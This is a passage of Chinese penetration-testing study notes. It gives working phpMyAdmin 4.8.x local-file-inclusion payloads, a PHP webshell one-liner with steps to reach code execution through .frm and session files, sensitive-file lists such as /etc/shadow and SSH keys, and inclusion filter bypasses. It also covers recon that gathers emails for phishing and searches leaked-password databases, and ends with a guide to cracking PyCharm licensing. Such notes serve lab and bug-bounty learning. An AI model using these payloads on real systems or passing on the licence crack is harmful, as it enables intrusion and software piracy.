ok,既然成功完美插入,我们就包含该日志,连接一句话,并执行phpinfo(); 命令
error错误日志:
2、包含我们上传的文件,该文件包含恶意代码,因为文件包含的文件与扩展名无关,只要该文件里有php代码,哪怕该文件扩展名是txt,它也会按照php文件来执行
3、敏感文件内容
linux下的敏感文件
1 | /root/.ssh/authorized_keys/root/.ssh/id_rsa/root/.ssh/id_ras.keystore/root/.ssh/known_hosts //记录每个访问计算机用户的公钥/etc/passwd //账户信息/etc/shadow //账户密码文件/etc/apache2/apache2.conf //Apache2默认配置文件/etc/apache2/sites-available/000-default.conf //虚拟网站配置etc/php/5.6/apache2/php.ini //php相关配置/etc/my.cnf //mysql配置文件/etc/httpd/conf/httpd.conf //apache配置文件/root/.bash_history //用户历史命令记录文件/root/.mysql_history //mysql历史命令记录文件/proc/mounts //记录系统挂载设备/porc/config.gz //内核配置文件/var/lib/mlocate/mlocate.db //全文件路径/porc/self/cmdline //当前进程的cmdline参数 |
windows下的敏感文件
1 | C:\boot.ini //查看系统版本C:\Windows\System32\inetsrv\MetaBase.xml //IIS配置文件C:\Windows\repair\sam //存储系统初次安装的密码C:\Program Files\mysql\my.ini //Mysql配置信息C:\Program Files\mysql\data\mysql\user.MYD //Mysql root密码C:\Windows\php.ini //php配置信息C:\Windows\my.ini //Mysql配置信息C:\Windows\win.ini //Windows系统的一个基本系统配置文件 |
4、本地包含配合session文件
前提条件:phpmyadmin 4.8.0 4.8.1
利用点:源码里有一个为了方便我们传递参数,所以对我们传入的url进行了一次url解码
突破点:问号
漏洞利用:对 问号 进行2次编码,对问号两次编码后为:%25%33%66
漏洞利用方法:
1、直接包含系统文件
payload如下:
1 | http://127.0.0.1/phpmyadmin/index.php?target=db_export.php%25%33%66/../../../../../../../../../windows/system.ini |
2、利用本地文件包含漏洞包含.frm文件从而进行RCE
前提:需要在数据库里操作
l利用方法:
在phpadmin里创建一个数据库,这里假设为test
然后再在test里创建一个表,这里假设为6666
最后再在6666这个表里添加字段,其中一个字段的名称插入一句话木马
添加成功后,系统会自动在C:\xampp\mysql\data\test 生成f6666.frm文件,该文件的内容里包含我们的一句话
如果不知道frm文件路径,可以通过phpadmin查询
1 | show variables like ‘%datadir%’;#这里查询出来的只是data目录的路径,如果我们创建的是test数据库,6666.frm表,那么它的绝对路径就是:C:\xampp\mysql\data\test\6666.frm |
利用payload:在浏览器里执行
1 | http://127.0.0.1/phpmyadmin/index.php?s=phpinfo();&target=export.php%25%33%66/../../../../../../../../../../xampp/mysql/data/test/6666.frm#这里的s就是我们之前插入的一句话木马的密码 |
3、利用PHP session序列化数据从而进行RCE
原理:我们在数据库里查询的命令都会记录在:sess_pmavalue 文件里,注意,pmavalue 这个名字并不是固定的,只有sess_ 是固定的,该文件一般都是 sess_ + 我们查询的语句再f12页面获取的value 拼接起来的
sess_pmavalue 文件的路径:
linux下: /var/lib/php/session/
windows:
phpstudy下: /phpstudy/PHPTutorial/tmp/tmp
xmapp下: xampp/tmp/sess_pmavalue
前提:按下f12,接着需要在phpadmin里执行以下语句,此时一旦执行完毕,
1 | SELECT '<?php @eval($_GET[s]);exit();?>' ; |
接着选中我们刚刚查询的那条记录(利用f12的那个小箭头),复制value
将value和 sess_ 进行拼接
执行payload
1 | http://127.0.0.1/phpmyadmin/index.php?s=phpinfo();&target=export.php%25%33%66/../../../tmp/sess_klue009hk58sp2v6rvuqb28f9m#后面的文件名是拼接起来的 |
实验地址:http://www.hetianlab.com/expc.do?ec=ECID169b-e5a2-4f81-8881-a6b216573892
参考链接(很详细):https://blog.csdn.net/qq_41901122/article/details/104718333
或者参考自己的doc文档:phpMyAdmin文件包含漏洞
2.2 绕过方式
1、源码给我们传入的包含文件名称后面自动加上 html后缀
绕过的前提:
1、必须要php版本低于5.3.4
2、必须要魔术引号处于关闭状态:magic_quotes_gpc =false
绕过方法:使用空字节来绕过,即在我们包含的文件名后面加上 %00
2、当我们包含的文件出错或者无法上传文件并且无法包含远程文件时,此时如果我们知道include的文件名,那么可以通过读取include文件的源码,来找其他漏洞或者绕过方式,相当于就是看着别人的规则来绕过
易错点:
1、是resource而不是recource,是s而不是c
2、在复制base64的源码的时候,一定要复制全,我们直接在源码界面复制不方便,完全可以全选—复制到桌面的文档里,然后在文档里复制就ok了
172.17.0.2/2.php?filename=php://filter/read=convert.base64-encode/resource=2.php
这里filter是一个封装器,就是在我们读取或者写入数据流之前,先对该数据流进行处理,该过滤器有一个resoruce参数,即指定需要读取的文件,这里是2.php ,read表示在读取之前进行相关操作(如果是要写入的话,也可以是write),等于后面接的是一个过滤器,covert.base64-encode就是在读取之前,将其base64编码
接着base64解码,在火狐的hackbar里解码,选中,然后点击解码
那么为什么要选择covert.base64-encode过滤器呢?毕竟有好多过滤器呢?
因为我们目的是完整的读取源代码,所以我们读取的源代码必须要是完整的,而这么多过滤器里,只有covert.base64-encode过滤器符合要求
为什么不能用 file:// 来读取源代码?
那我file包含php文件会解析里面的php代码,导致死循环,自己包含自己
具体原因解释可以参考预习内容:文件包含-中级篇-实验3
3、当我们使用相对路径的 .. /被过滤了怎么办?
可以重写,即 ….// 来绕过,有时候系统过滤2个点,那么我们写4个点,即可绕过
4、利用各种伪协议来绕过
3、远程文件包含
3.1 利用方式
什么是远程文件包含?
被包含的文件在远程服务端
利用方式:
包含攻击者指定的远程url文件
远程文件包含需满足的条件:
- include等包含函数的文件名前面不能任何拼接其他字符。
- allow_url_fopen 需要开启,也就是allow_url_fopen=on,默认开启。
- allow_url_include 需要开启,也就是allow_url_include=on,(php5.2之后)默认不开启所以在实际利用中,想要遇到远程文件包含的漏洞比较难。
易错点:
1、传递参数时,第一个参数必须用问号 ? 连接,后面如果还需要传递参数,就需要用 & 连接了 ,
比如:127.0.0.1/4.phpfile=ceshi2.txt&a=phpinfo(); 这里file就是第一个参数,所以用问号连接,a是第二个参数,所以用 & 连接
2、当我们通过在浏览器上连接一句话木马后,在浏览器里执行相关命令,命令后面必须要有分号 ;
3.2 绕过方式
1、源码给我们传入的远程包含的文件名称后面自动加上 html后缀
绕过的前提:没有前提,只要能远程包含即可
绕过方法有4种
方法一:在远程包含的文件名后面加上问号 ?
原理:问号后面一半接参数名和参数的值,该网站是自动加 .html
所以远程的url就是/1.txt?.html 这里.html 是参数名,由于其后面没有添加值,所以值为空,所以相当于远程包含的文件仍然是 1.txt,只是同时给1.txt传递了一个 .html参数,值为0罢了,总结就是包含的还是1.txt,所以就可以绕过
方法二:在远程包含的文件名后面加上 #
原理:#号是锚点符号,#后面的内容被认为是锚点内容,所以,include认为应该请求的URL为http://172.17.0.3/1.txt,于是发起http请求读取该文件并包含
易错点:不能直接添加#号,而是要将其编码后添加,即添加 23%
方法三:在远程包含的文件名后面加上 空格
原理:
易错点:不能直接添加空格,而是要将其编码后添加,即添加 20%
方法四:构造的远程包含的文件不带后缀名即可绕过
原理:远程服务器可以根据存在远程文件包含漏洞的服务器的添加后缀的规则来创建远程文件,打个比方,如果存在漏洞的网站的规则是添加 .html 后缀,那么我就包含一个 .html 的文件(该文件内容里有一句话木马),但是我在构造远程包含的url的时候,就主动去掉该url里的文件名的html后缀,因为存在漏洞的网站会自动给我添加的,所以这样就实现了绕过
4、文件包含的防御
1、尽量不使用动态包含,无需情况下设置 allow_url_include和 allow_url_fopen为关闭;
2、对可以包含的文件进行限制:使用白名单的方式,或者设置包含的目录,open_basedir;
3、严格检查用户输入,参数中不允许出现 ../ 之类的目录跳转符;
4、 不要仅仅在客户端做数据的验证与过滤,关键的过滤步骤在服务端进行。
第七章 信息搜集
一、域名资产扩大
1、根据src提供的资产进行扩大
目的:查询其他的域名
ICP/IP地址、域名信息备案管理系统: https://beian.miit.gov.cn/#/Integrated/index
天眼查:https://www.tianyancha.com/?jsid=SEM-BAIDU-PZ-SY-2021112-JRGW
全国互联网安全管理服务平台:http://www.beian.gov.cn/portal/index.do
意见建议:使用站长之家,手机备案的其他域名,复制到txt中,然后去网址进行url提取:http://www.txttool.com/WenBen_RegExpURL.asp
技巧:如果src官方给定了多个域名,我们需要将这多个域名都去站长之家查,会有意想不到的jingxi惊喜,会冒出来第二个公司的实际掌权人,这样又扩大了域名范围。
并且,最后提取的备案域名都要记得去重
2、挖掘子域名进行扩大
目的:利用OneForAll跑出子域名—–利用teemo获取c段+观察来判断是否存在c段(比如大量的c段ip,就存在c段)–Ksacn获取c段的web服务
OneForAll
核心:需要配置好各种api
收费api获取: fofa_api 在code里找
1、查询
命令:前提是其配置文件里没开启burp,默认是开启的,我们需要将其改为False否则无法正常使用
1 | python3 oneforall.py --target url run |
2、爆破(需要单独运行burp.py,在其根目录下)
核心:依赖于字典
字典地址:
1 | python3 brute.py --targets ./domains.txt --word True --wordlist subnames.txt run |
teemo:https://github.com/bit4woo/teemo
1 | python teemo.py -d example.com |
Kscan
https://github.com/lcvvvv/kscan/releases/tag/v1.12
常用命令:
1 | example: kscan -t www.baidu.com |
用法:
1 | usage: kscan [-h,--help] (-t,--target) [-p,--port|--top] [-o,--output] [--proxy] [--threads] [--http-code] [--path] [--host] [--timeout] |
layer
3、信息的利用与扫描
1、将OneForAll跑出来的域名去重,存活检测,接着弄到扫描器进行扫描
2、根据kscan扫描的分类,根据其中间件、服务、框架,找专门的批量脚本进行定点扫描
3、进行源码备份扫描
4、其他信息收集
在前面1,2,3步骤没找到漏洞的话,就进行这第4步
目的:
主要是用来邮件钓鱼(挖src不让钓鱼)
后台登录、社工库查找旧的密码
收集的内容:
whois、备案信息、邮箱、手机号、姓名
github上搜索—-然后选择左边的code
社工库里搜索
邮箱获取技巧:通过whois获取的邮箱是不精确的,它部分被打了星号,那么怎么找到具体的邮箱呢?
使用google语法,也可以百度搜:intext:@hetian.com
5、手工渗透
前提:上述1-4都找不到洞的情况下
1、找到之前oneforall挖掘的子域名,然后通过工具去存活,比如kscan,接着就对这些存活的网站一个一个手工测试
2、目录扫描
需求的内容:
敏感目录:比如登录页面
源码泄露
数据库泄露
敏感文件:.mdb .excel .word .zip .rar
文件泄露:WEB-INF/web.xml泄露
js文件扫描:当我们获取到js文件后,需要通过BurpJSLinkFinder、LinkFinder 来提取js文件里的接口(也就是目录扫描不到的一些url)
易错点:要防止速度过快,请求头、等等,防止被防火墙过滤,禁止ip,
技巧:记得修改字典
核心:基于字典:https://github.com/TheKingOfDuck/fuzzDicts
工具:dirsearch https://github.com/maurosoria/dirsearch
3、web之外的信息搜集(近几年才流行,漏洞多)
公众号、小程序、app、服务号
6、poc批量篇
fofa采集,批量搜索采集:https://github.com/WilliamL71Oi/FOFA_PRO_GUI
登录代码:
1 | import requests |
批量代码:
1 | #!/usr/bin/python3 |
第八章:附录
1、word使用技巧
2、linux常用命令
1 | 1、清屏:clear2、安装指定包(软件):apt install 软件名3、打开更新源的文件:vim /etc/apt/sources.list4、更新一下源:apt-get update5、更新一下软件:ape-get upgrade6、更新一下系统:apt-get dist-upgrade7、安装apache2:apt install apache2 8、查看apache2的状态:service apache2 status9、启动apache2:service apache2 start 10、安装mysql:apt insttall mariadb mariadb-server 安装11、查看mysql的状态:service mariadb status 查看状态12、启动mariadb:service mariadb start 13、安装php:apt -y install php7.0 php-pear libapache2-mod-php7.0 php7.0-mysql php7.0-curl php7.0-json php7.0-cgi php7.0-gd14、将apache2添加到自启动:systemctl enable apache215、将mariadb添加到自启动:systemctl enable mariadb16、查看ip:ifconfig17、将压缩包解压:unzip DVWA-master.zip 18、移动并重命名文件:mv DVWA-master /var/www/html/dvwa19、切换工作目录:cd /var/www/html/dvwa 20、查看目录下的所有东西:ls21、给目录或文件添加所有权限:chmod 777 uploads22、给tmp目录及目录下的所有文件添加权限:chmod 777 -R tmp/23、数据库操作(前提进入数据库,输入mysql)创建用户dvwa@localhost,密码dvwacreate user ‘dvwa@localhost’ identified by 'dvwa';赋予权限:grant all privileges on *.* to ‘dvwa@localhost’;刷新权限:flush privileges;24、查找php.ini文件:find / -name php.ini25、给文件写入内容:文件不存在则会被创建 一个 > 则是覆盖内容,如果文件有内容,则原有内容会被清空;而 >> 则是在原有内容后面追加 覆盖内容:echo 'test' > 1.txt 在内容后面追加:echo 'ceshi' >> 1.txt26、kali安装pip3(默认没安装): sudo wget https://bootstrap.pypa.io/get-pip.py //下载安装脚本。 sudo python3 get-pip.py //执行安装脚本 sudo pip3 -V //查看当前pip3的版本 |
3、常用软件启动命令
1、Lamp
2、docker
① 首先要确保是root权限,可以直接以root账户登录或者在每次使用命令前使用sudo,我这里是直接用root登录的,所以不用sudo
②查看本地是否有我们的镜像文件,比如php
1 | docker images |
如果没有,则下载,执行命令
1 | docker pull php:5.5-apache |
③新建容器,这里的phptest就是容器名, 9110:80 就是通过访问计算机的9110来实现访问该容器的80端口,这里的php:5.5-apache 就是刚才查看的images里的镜像,表示依据该镜像来创建一个容器
1 | docker run --name phptest -d -it -p 9110:80 php:5.5-apache /bin/bash |
执行成功后会返回一个id,该id如果后面执行某个命令需要id,就可以将该id提供给它
④ 启动镜像
1 | docker start phptest #这个phptest就是刚刚创建这个镜像时设置的容器名 |
执行后,会返回容器名
⑤ 进入容器
1 | docker exec -it phptest /bin/bash |
执行成功后,会自动切换到当前容器的环境(web服务)的根目录
⑥ 启动当前容器的apache服务
1 | service apache2 start |
显示ok就代表启动成功
⑦ 查看当前容器的ip,然后依据该ip来访问该容器
1 | ip addr |
浏览器访问该ip
如果出现这种apache的错误就代表成功了,之所以报错,是因为网站目录下没有首页文件,403错误,文件不存在
此时我们只需要在网站目录里建一个首页文件或者创建一个php文件都可以访问
比如可以执行命令echo来创建一个index.html文件来访问
1 | echo 'hello' > index.html |
我们再来访问下该ip,发现成功访问
总结:以上就是docker的基本流程了,当然,如果我们修改了容器里的apache相关的配置文件,记得一定要在当前容器里重启apache2服务
3、python
1 | 命令行输入1、进入python2交互界面:python22、进入python3交互界面:python33、查看pip的版本:易错点:V是大写的pip2 -V Pip3 -V4、退出python交互界面:exit()5、升级pip3:python3 -m pip install -U pip |
4、php
1、运行php脚本(网页端)
直接将php脚本放在网站根目录,然后访问,即可解析,这个解析不仅限于网页,也可以解析用来处理其他功能的php文件,比如用来给图片插入一句话木马的php文件,其主要根据该脚本需不需要通过命令行传递参数,如果不需要,那么直接可以用网页运行
2、运行php脚本(命令行)
首先需要安装php,如果我们安装了phpstudy,那么就是默认安装了php,我们可以用everything搜索php,找到其安装目录,然后将你需要的某个版本的php的目录添加到变量
其次,我们打开需要运行的php脚本目录,按住shift+右键,打开命令行,然后输入php xx.php 1.jpg 即可
4、Vim常用命令
1 | 1、临时设置行号:vim界面输入 :set number2、永久设置行号:root用户下:vim /etc/vim/vimrc 然后添加set number 即可 |
5、学习网站和博客
6、疑难问题
1、url跳转漏洞存在的意义是什么?自嗨?我们自己构建跳转,也只是在我们当前浏览器跳转啊,并不能影响其他用户,必须要把跳转的url写入源码中才能让所有访问者跳到我们需要的界面吧。那么这也算漏洞?感觉没啥用啊。
解答:完全可以将构造的url发给其他人点击,这样不就可以直线影响其他用户么!
2、Session的作用可以判断用户是否登录,那么cookie是不是也可以判断用户是否登录?毕竟每次请求都会附带cookie,服务器根据cookie就可以判断用户的状态了吧?
解答:这里有个误区,cookie只是通行证,而session类似于持久的对话,打个比方,当我们网上下单购买东西,cookie的提交只是让我们有了下单的权限,也就是可以下单东西了,但是如果该网站没有启用session,假设A,B,C都在该网站购买东西,在服务器的状态就是有很多下单的请求,但是这些请求是谁发起的,服务器并不知道,服务器并不知道哪些东西是A的订单,哪些是B的,因为http是无状态的,所以这明显行不通,于是就有了session,session会根据每个人请求里的cookie里包含的sessionid来区分每一个人的身份,每个人都有一个不同的sessionid,这样服务器就会很好的区分哪些东西是谁的。所以,浏览器请求过去的都是cookie,区别就是有的cookie里包含了sessionid,有的没包含而已,session和cookie并不是两个对立的东西,只是一个互补而已。
3、靶场地址:http://120.27.61.239:9006/
3、upload-labs-0.1靶场,当我们访问一个不存在的页面,会提示403提示,页面有啥权限配置的问题的提示,不要慌,这只是因为文件不存在罢了
7、作业提交
8、src地址
安全客:https://www.anquanke.com/src
9、软件安装
1、pycharm的安装与破解
破解jar怎么获取?
可以百度:ide-eval-resetter-2.1.6.zip
也可以去网站查看最新破解方法:https://zhile.io/
此方案不显示2089但是是一种极其稳定的激活方式,原理真正永久可用,相比较2089那个随时被封的方式,修改无限试用30天的激活,稳定,所有全家桶都是以下步骤,是通用教程,适用于win/linux/mac所有操作系统。
首先下载软件:https://www.jetbrains.com/pycharm/download/#section=windows
其次选择专业版
然后安装,选择目录需要将目录里的空格删除,其次勾选的时候,所有都勾选
接着下一步下一步就行了
第一步,启动软件,进入试用(能直接进入操作界面的,则忽略此步)
第二步 首先本地打开一个.py文件,然后在代码窗口拖入压缩包。ide-eval-resetter-2.1.6.zip(注意ide-eval-resetter-2.1.6.zip包不要解压)
拖入后会弹出Restart重启按钮,点击重启IDE
第三步,重启后,在以下任意一个界面均可唤出插件EVAL Reset
以下两个图片任意选择一个进入插件界面
第四步,无限重置试用时间,永久激活软件
点击reset — yes , 重启软件。(勾选Auto reset before per restart,会自动定期重置试用时间,让你一劳永逸,永远处于激活状态,且不再会弹出激活窗口打扰你)
重启后查看试用时间,已经被重置到30天(两种方式均可)
操作完成后,重启软件不再出现激活窗口说明激活成功!
(简单说明一下,这个插件的原理是无限重置试用时间,只需第一次操作的时候勾选Auto reset before per restart,后面会定期自动重置,无需你做任何操作,是真正的永久激活。
注意,如果你已经按教程做完,但是每次重启软件还是出现激活窗口,那说明你还没有激活成功,极有可能是你之前破解过,或者修改过HOST文件。
解决办法:在状态栏help—Edit Custom VM Options里,删除最后一句—javaagent开头的路径退出重启软件即可,如果改过HOST文件,屏蔽了官网的,还需要去HOST里改回来恢复原状。